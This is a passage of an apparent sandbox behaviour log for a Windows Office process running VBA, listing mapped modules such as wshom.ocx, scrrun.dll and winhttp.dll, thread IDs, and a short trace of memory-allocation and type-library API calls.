filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx")
Region:
id = 630
start_va = 0x660c0000
end_va = 0x660d5fff
monitored = 0
entry_point = 0x660c21d0
region_type = mapped_file
name = "mpr.dll"
filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll")
Region:
id = 631
start_va = 0x66090000
end_va = 0x660bafff
monitored = 0
entry_point = 0x66099a70
region_type = mapped_file
name = "scrrun.dll"
filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll")
Region:
id = 632
start_va = 0x11510000
end_va = 0x1151cfff
monitored = 0
entry_point = 0x11517b50
region_type = mapped_file
name = "wshom.ocx"
filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx")
Region:
id = 633
start_va = 0x11520000
end_va = 0x11534fff
monitored = 0
entry_point = 0x11529a70
region_type = mapped_file
name = "scrrun.dll"
filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll")
Region:
id = 652
start_va = 0x11540000
end_va = 0x11920fff
monitored = 0
entry_point = 0x115e4790
region_type = mapped_file
name = "explorer.exe"
filename = "\\Windows\\SysWOW64\\explorer.exe" (normalized: "c:\\windows\\syswow64\\explorer.exe")
Region:
id = 653
start_va = 0x65cf0000
end_va = 0x66080fff
monitored = 0
entry_point = 0x65fa35b0
region_type = mapped_file
name = "d3dcompiler_47.dll"
filename = "\\Windows\\SysWOW64\\D3DCompiler_47.dll" (normalized: "c:\\windows\\syswow64\\d3dcompiler_47.dll")
Region:
id = 654
start_va = 0x70760000
end_va = 0x707fafff
monitored = 0
entry_point = 0x7079f7e0
region_type = mapped_file
name = "winhttp.dll"
filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll")
Region:
id = 655
start_va = 0x11510000
end_va = 0x1190ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011510000"
filename = ""
Region:
id = 656
start_va = 0x11910000
end_va = 0x1191ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011910000"
filename = ""
Region:
id = 657
start_va = 0x11920000
end_va = 0x1192ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011920000"
filename = ""
Region:
id = 658
start_va = 0x11930000
end_va = 0x1193ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011930000"
filename = ""
Region:
id = 659
start_va = 0x11930000
end_va = 0x1193ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011930000"
filename = ""
Region:
id = 660
start_va = 0x11940000
end_va = 0x1194ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011940000"
filename = ""
Region:
id = 661
start_va = 0x72040000
end_va = 0x7206efff
monitored = 0
entry_point = 0x7204bb70
region_type = mapped_file
name = "iphlpapi.dll"
filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")
Region:
id = 662
start_va = 0x11950000
end_va = 0x11d4ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011950000"
filename = ""
Region:
id = 663
start_va = 0x11d50000
end_va = 0x11d5ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011d50000"
filename = ""
Region:
id = 664
start_va = 0x11d60000
end_va = 0x11d6ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011d60000"
filename = ""
Region:
id = 665
start_va = 0x11d70000
end_va = 0x11d7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011d70000"
filename = ""
Region:
id = 669
start_va = 0x75250000
end_va = 0x75256fff
monitored = 0
entry_point = 0x75251e10
region_type = mapped_file
name = "nsi.dll"
filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")
Region:
id = 670
start_va = 0x11d80000
end_va = 0x11d8ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011d80000"
filename = ""
Region:
id = 671
start_va = 0x11d90000
end_va = 0x11d9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011d90000"
filename = ""
Region:
id = 672
start_va = 0x11da0000
end_va = 0x11daffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011da0000"
filename = ""
Region:
id = 673
start_va = 0x11db0000
end_va = 0x11dbffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011db0000"
filename = ""
Region:
id = 674
start_va = 0x11dc0000
end_va = 0x11dcffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011dc0000"
filename = ""
Region:
id = 675
start_va = 0x11d80000
end_va = 0x11e1cfff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011d80000"
filename = ""
Region:
id = 676
start_va = 0x11e20000
end_va = 0x11e2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e20000"
filename = ""
Region:
id = 677
start_va = 0x11e30000
end_va = 0x11e3ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e30000"
filename = ""
Region:
id = 678
start_va = 0x11e40000
end_va = 0x11e4ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e40000"
filename = ""
Region:
id = 679
start_va = 0x11e50000
end_va = 0x11e5ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e50000"
filename = ""
Region:
id = 680
start_va = 0x11e60000
end_va = 0x11e6ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e60000"
filename = ""
Region:
id = 681
start_va = 0x71f80000
end_va = 0x71f92fff
monitored = 0
entry_point = 0x71f825d0
region_type = mapped_file
name = "dhcpcsvc6.dll"
filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll")
Region:
id = 682
start_va = 0x11e20000
end_va = 0x11e2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e20000"
filename = ""
Region:
id = 683
start_va = 0x11e30000
end_va = 0x11e3ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e30000"
filename = ""
Region:
id = 684
start_va = 0x11e40000
end_va = 0x11e4ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e40000"
filename = ""
Region:
id = 685
start_va = 0x11e50000
end_va = 0x11e5ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e50000"
filename = ""
Region:
id = 686
start_va = 0x11e60000
end_va = 0x11e6ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e60000"
filename = ""
Region:
id = 687
start_va = 0x11e70000
end_va = 0x11e7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e70000"
filename = ""
Region:
id = 688
start_va = 0x11e80000
end_va = 0x11e8ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e80000"
filename = ""
Region:
id = 689
start_va = 0x11e80000
end_va = 0x11e8ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e80000"
filename = ""
Region:
id = 690
start_va = 0x11e90000
end_va = 0x11e9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e90000"
filename = ""
Region:
id = 691
start_va = 0x11ea0000
end_va = 0x11eaffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011ea0000"
filename = ""
Region:
id = 692
start_va = 0x11eb0000
end_va = 0x11ebffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011eb0000"
filename = ""
Region:
id = 693
start_va = 0x11ec0000
end_va = 0x11ecffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011ec0000"
filename = ""
Region:
id = 694
start_va = 0x11ed0000
end_va = 0x11edffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011ed0000"
filename = ""
Region:
id = 695
start_va = 0x11ee0000
end_va = 0x11eeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011ee0000"
filename = ""
Region:
id = 696
start_va = 0x11ef0000
end_va = 0x11efffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011ef0000"
filename = ""
Region:
id = 697
start_va = 0x11f00000
end_va = 0x11f0ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011f00000"
filename = ""
Region:
id = 698
start_va = 0x7fe70000
end_va = 0x7fe7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fe70000"
filename = ""
Region:
id = 699
start_va = 0x11e80000
end_va = 0x11e8ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e80000"
filename = ""
Region:
id = 700
start_va = 0x71f60000
end_va = 0x71f73fff
monitored = 0
entry_point = 0x71f63c10
region_type = mapped_file
name = "dhcpcsvc.dll"
filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll")
Region:
id = 702
start_va = 0x11e80000
end_va = 0x11ebffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011e80000"
filename = ""
Region:
id = 703
start_va = 0x11ec0000
end_va = 0x11fbffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011ec0000"
filename = ""
Region:
id = 704
start_va = 0x70800000
end_va = 0x70811fff
monitored = 0
entry_point = 0x70804510
region_type = mapped_file
name = "ondemandconnroutehelper.dll"
filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll")
Region:
id = 706
start_va = 0x70830000
end_va = 0x70a3cfff
monitored = 0
entry_point = 0x7091acb0
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll")
Region:
id = 708
start_va = 0x11fc0000
end_va = 0x11fc0fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "counters.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat")
Region:
id = 709
start_va = 0x72100000
end_va = 0x7214efff
monitored = 0
entry_point = 0x7210d850
region_type = mapped_file
name = "mswsock.dll"
filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll")
Region:
id = 710
start_va = 0x72070000
end_va = 0x720f3fff
monitored = 0
entry_point = 0x72096530
region_type = mapped_file
name = "dnsapi.dll"
filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll")
Region:
id = 711
start_va = 0x70750000
end_va = 0x70757fff
monitored = 0
entry_point = 0x70751fc0
region_type = mapped_file
name = "winnsi.dll"
filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")
Region:
id = 712
start_va = 0x65c80000
end_va = 0x65ce7fff
monitored = 0
entry_point = 0x65ca70a0
region_type = mapped_file
name = "webio.dll"
filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll")
Region:
id = 723
start_va = 0x11fd0000
end_va = 0x11fdffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011fd0000"
filename = ""
Region:
id = 756
start_va = 0x11fd0000
end_va = 0x11fd0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000011fd0000"
filename = ""
Region:
id = 771
start_va = 0x11fe0000
end_va = 0x11feefff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000011fe0000"
filename = ""
Region:
id = 772
start_va = 0x11ff0000
end_va = 0x11ffefff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011ff0000"
filename = ""
Region:
id = 776
start_va = 0x12000000
end_va = 0x12002fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000012000000"
filename = ""
Region:
id = 777
start_va = 0x12010000
end_va = 0x12010fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000012010000"
filename = ""
Region:
id = 778
start_va = 0x12000000
end_va = 0x12000fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000012000000"
filename = ""
Region:
id = 779
start_va = 0x12020000
end_va = 0x12022fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000012020000"
filename = ""
Region:
id = 780
start_va = 0x12030000
end_va = 0x12030fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000012030000"
filename = ""
Region:
id = 781
start_va = 0x12040000
end_va = 0x12041fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000012040000"
filename = ""
Region:
id = 782
start_va = 0x12050000
end_va = 0x12050fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000012050000"
filename = ""
Region:
id = 783
start_va = 0x12060000
end_va = 0x12061fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000012060000"
filename = ""
Region:
id = 784
start_va = 0x12070000
end_va = 0x12070fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000012070000"
filename = ""
Region:
id = 785
start_va = 0x12080000
end_va = 0x12082fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000012080000"
filename = ""
Region:
id = 797
start_va = 0x12090000
end_va = 0x1209ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000012090000"
filename = ""
Region:
id = 801
start_va = 0x120a0000
end_va = 0x120affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000120a0000"
filename = ""
Region:
id = 802
start_va = 0x120b0000
end_va = 0x120bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000120b0000"
filename = ""
Region:
id = 803
start_va = 0x11fe0000
end_va = 0x11feffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011fe0000"
filename = ""
Region:
id = 804
start_va = 0x7fe60000
end_va = 0x7fe6ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fe60000"
filename = ""
Region:
id = 806
start_va = 0x72030000
end_va = 0x72037fff
monitored = 0
entry_point = 0x72031920
region_type = mapped_file
name = "rasadhlp.dll"
filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll")
Region:
id = 808
start_va = 0x11fe0000
end_va = 0x11fe0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011fe0000"
filename = ""
Region:
id = 809
start_va = 0x71fe0000
end_va = 0x72026fff
monitored = 0
entry_point = 0x71ff58d0
region_type = mapped_file
name = "fwpuclnt.dll"
filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll")
Region:
id = 810
start_va = 0x12000000
end_va = 0x1200cfff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000012000000"
filename = ""
Region:
id = 811
start_va = 0x12020000
end_va = 0x1202cfff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000012020000"
filename = ""
Region:
id = 812
start_va = 0x70580000
end_va = 0x705e3fff
monitored = 0
entry_point = 0x7059afd0
region_type = mapped_file
name = "schannel.dll"
filename = "\\Windows\\SysWOW64\\schannel.dll" (normalized: "c:\\windows\\syswow64\\schannel.dll")
Region:
id = 813
start_va = 0xfd00000
end_va = 0xfd02fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000fd00000"
filename = ""
Region:
id = 814
start_va = 0x70570000
end_va = 0x7057ffff
monitored = 0
entry_point = 0x70574600
region_type = mapped_file
name = "mskeyprotect.dll"
filename = "\\Windows\\SysWOW64\\mskeyprotect.dll" (normalized: "c:\\windows\\syswow64\\mskeyprotect.dll")
Region:
id = 815
start_va = 0x70550000
end_va = 0x7056ffff
monitored = 0
entry_point = 0x7055d120
region_type = mapped_file
name = "ncrypt.dll"
filename = "\\Windows\\SysWOW64\\ncrypt.dll" (normalized: "c:\\windows\\syswow64\\ncrypt.dll")
Region:
id = 816
start_va = 0x70520000
end_va = 0x7054bfff
monitored = 0
entry_point = 0x7053bb10
region_type = mapped_file
name = "ntasn1.dll"
filename = "\\Windows\\SysWOW64\\ntasn1.dll" (normalized: "c:\\windows\\syswow64\\ntasn1.dll")
Region:
id = 817
start_va = 0xfd10000
end_va = 0xfd10fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000fd10000"
filename = ""
Region:
id = 820
start_va = 0x70500000
end_va = 0x70519fff
monitored = 0
entry_point = 0x7050fa70
region_type = mapped_file
name = "ncryptsslp.dll"
filename = "\\Windows\\SysWOW64\\ncryptsslp.dll" (normalized: "c:\\windows\\syswow64\\ncryptsslp.dll")
Region:
id = 821
start_va = 0x65b20000
end_va = 0x65c29fff
monitored = 0
entry_point = 0x65b81e10
region_type = mapped_file
name = "webservices.dll"
filename = "\\Windows\\SysWOW64\\webservices.dll" (normalized: "c:\\windows\\syswow64\\webservices.dll")
Region:
id = 822
start_va = 0x704f0000
end_va = 0x704f7fff
monitored = 0
entry_point = 0x704f1d70
region_type = mapped_file
name = "dpapi.dll"
filename = "\\Windows\\SysWOW64\\dpapi.dll" (normalized: "c:\\windows\\syswow64\\dpapi.dll")
Region:
id = 823
start_va = 0x65ae0000
end_va = 0x65b1afff
monitored = 0
entry_point = 0x65af56aa
region_type = mapped_file
name = "msproof7.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\msproof7.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\msproof7.dll")
Region:
id = 824
start_va = 0xfd00000
end_va = 0xfd00fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "custom.dic"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\uproof\\custom.dic")
Region:
id = 825
start_va = 0xfd00000
end_va = 0xfd0ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000fd00000"
filename = ""
Region:
id = 826
start_va = 0xfd00000
end_va = 0xfd0ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000fd00000"
filename = ""
Region:
id = 827
start_va = 0x64a20000
end_va = 0x6536afff
monitored = 0
entry_point = 0x64a9ec58
region_type = mapped_file
name = "igx.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\IGX.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\igx.dll")
Region:
id = 828
start_va = 0xfd00000
end_va = 0xfd01fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000fd00000"
filename = ""
Region:
id = 829
start_va = 0x120a0000
end_va = 0x1306ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000120a0000"
filename = ""
Region:
id = 830
start_va = 0xfd10000
end_va = 0xfd10fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000fd10000"
filename = ""
Region:
id = 831
start_va = 0xfd30000
end_va = 0xfd30fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000fd30000"
filename = ""
Region:
id = 832
start_va = 0xfd20000
end_va = 0xfd20fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000fd20000"
filename = ""
Region:
id = 833
start_va = 0xfd10000
end_va = 0xfd12fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000fd10000"
filename = ""
Region:
id = 834
start_va = 0xfd20000
end_va = 0xfd20fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000fd20000"
filename = ""
Region:
id = 1010
start_va = 0x65a70000
end_va = 0x65ad3fff
monitored = 0
entry_point = 0x65a768c8
region_type = mapped_file
name = "msgr8en.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\PROOF\\1033\\MSGR8EN.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\proof\\1033\\msgr8en.dll")
Region:
id = 1050
start_va = 0xfd10000
end_va = 0xfd12fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000fd10000"
filename = ""
Region:
id = 1051
start_va = 0xfd20000
end_va = 0xfd20fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000fd20000"
filename = ""
Region:
id = 1450
start_va = 0xfd10000
end_va = 0xfd1cfff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000fd10000"
filename = ""
Region:
id = 1451
start_va = 0xfd20000
end_va = 0xfd2cfff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000fd20000"
filename = ""
Thread:
id = 1
os_tid = 0x13ac
Thread:
id = 2
os_tid = 0xf64
Thread:
id = 3
os_tid = 0xe24
Thread:
id = 4
os_tid = 0xc3c
Thread:
id = 5
os_tid = 0x280
Thread:
id = 6
os_tid = 0x9ac
Thread:
id = 7
os_tid = 0xbb0
Thread:
id = 8
os_tid = 0x7f4
Thread:
id = 9
os_tid = 0xc0c
Thread:
id = 10
os_tid = 0x1178
Thread:
id = 11
os_tid = 0x304
Thread:
id = 12
os_tid = 0xd38
Thread:
id = 13
os_tid = 0x734
Thread:
id = 14
os_tid = 0xfe0
Thread:
id = 15
os_tid = 0xa60
Thread:
id = 16
os_tid = 0x750
[0138.166] DispCallFunc (pvInstance=0x0, oVft=0xbb6109a, cc=0x4, vtReturn=0x0, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0x198050) returned 0x0
[0138.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1000, lpStartAddress=0x668311d3, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x197f60 | out: lpThreadId=0x197f60*=0x13f4) returned 0xd40
[0138.169] PeekMessageA (in: lpMsg=0x197f40, hWnd=0x20292, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: lpMsg=0x197f40) returned 0
[0138.360] GetActiveWindow () returned 0x20200
[0138.384] _mbscpy_s (in: _Dst=0x197c48, _DstSizeInBytes=0x9, _Src=0xa782672 | out: _Dst=0x197c48) returned 0x0
[0138.384] _mbscpy_s (in: _Dst=0x197c48, _DstSizeInBytes=0x9, _Src=0xa7827a6 | out: _Dst=0x197c48) returned 0x0
[0138.384] _mbscpy_s (in: _Dst=0x197c48, _DstSizeInBytes=0x2, _Src=0xa78282a | out: _Dst=0x197c48) returned 0x0
[0138.385] CRetailMalloc_Alloc () returned 0xa115a18
[0138.448] CRetailMalloc_Realloc () returned 0x1028c338
[0138.449] CRetailMalloc_Realloc () returned 0xbafb090
[0138.468] CoCreateGuid (in: pguid=0x197d74 | out: pguid=0x197d74*(Data1=0xf6b2932c, Data2=0x5fb6, Data3=0x40af, Data4=([0]=0x8b, [1]=0xde, [2]=0x74, [3]=0xfc, [4]=0x16, [5]=0x38, [6]=0x77, [7]=0x8f))) returned 0x0
[0138.468] CoCreateGuid (in: pguid=0x197d74 | out: pguid=0x197d74*(Data1=0xb0efee50, Data2=0x185, Data3=0x45d7, Data4=([0]=0x8c, [1]=0xbf, [2]=0x5e, [3]=0xcb, [4]=0xef, [5]=0x76, [6]=0xb2, [7]=0x78))) returned 0x0
[0138.468] CRetailMalloc_Alloc () returned 0xbabccf8
[0138.469] CRetailMalloc_Alloc () returned 0xbb343f8
[0138.472] CRetailMalloc_Realloc () returned 0x102b2cf0
[0138.472] CRetailMalloc_Alloc () returned 0x10307158
[0138.472] CRetailMalloc_Realloc () returned 0xbabcb38
[0138.477] CRetailMalloc_Alloc () returned 0xba40480
[0138.477] CRetailMalloc_Alloc () returned 0xbb3f1c8
[0138.477] CRetailMalloc_Alloc () returned 0x10307968
[0138.477] CRetailMalloc_Alloc () returned 0xb9caca8
[0138.477] CRetailMalloc_Alloc () returned 0xa151120
[0138.477] CRetailMalloc_Alloc () returned 0x10215020
[0138.477] CRetailMalloc_Alloc () returned 0xa115a18
[0138.478] CRetailMalloc_Alloc () returned 0xa115ae8
[0138.478] CRetailMalloc_Alloc () returned 0xb9e0530
[0138.478] CRetailMalloc_Alloc () returned 0xb9e0860
[0138.478] CRetailMalloc_Alloc () returned 0xb9e06b0
[0138.478] wcscpy_s (in: _Destination=0xb9caacc, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0
[0138.483] CRetailMalloc_Alloc () returned 0xb9e0a10
[0138.483] CRetailMalloc_Alloc () returned 0xb9e07a0
[0138.483] CRetailMalloc_Alloc () returned 0xa115a78
[0138.484] CRetailMalloc_Alloc () returned 0xb963180
[0138.484] CRetailMalloc_Alloc () returned 0xa07a0a8
[0138.484] CRetailMalloc_Alloc () returned 0xa079d98
[0138.484] CRetailMalloc_Alloc () returned 0x103113e8
[0138.484] CRetailMalloc_Alloc () returned 0x10311610
[0138.485] CRetailMalloc_Alloc () returned 0xb9e0a40
[0138.485] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0
[0138.485] CRetailMalloc_Realloc () returned 0x10311838
[0138.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=72, lpMultiByteStr=0x197164, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", lpUsedDefaultChar=0x0) returned 72
[0138.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x19726c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4
[0138.486] CRetailMalloc_Realloc () returned 0x10312528
[0138.486] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 5
[0138.487] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0
[0138.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=64, lpMultiByteStr=0x197164, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\MSWORD.OLBVBE7.DLL", lpUsedDefaultChar=0x0) returned 64
[0138.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x19726c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5
[0138.652] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50
[0138.652] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned -5
[0138.653] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0
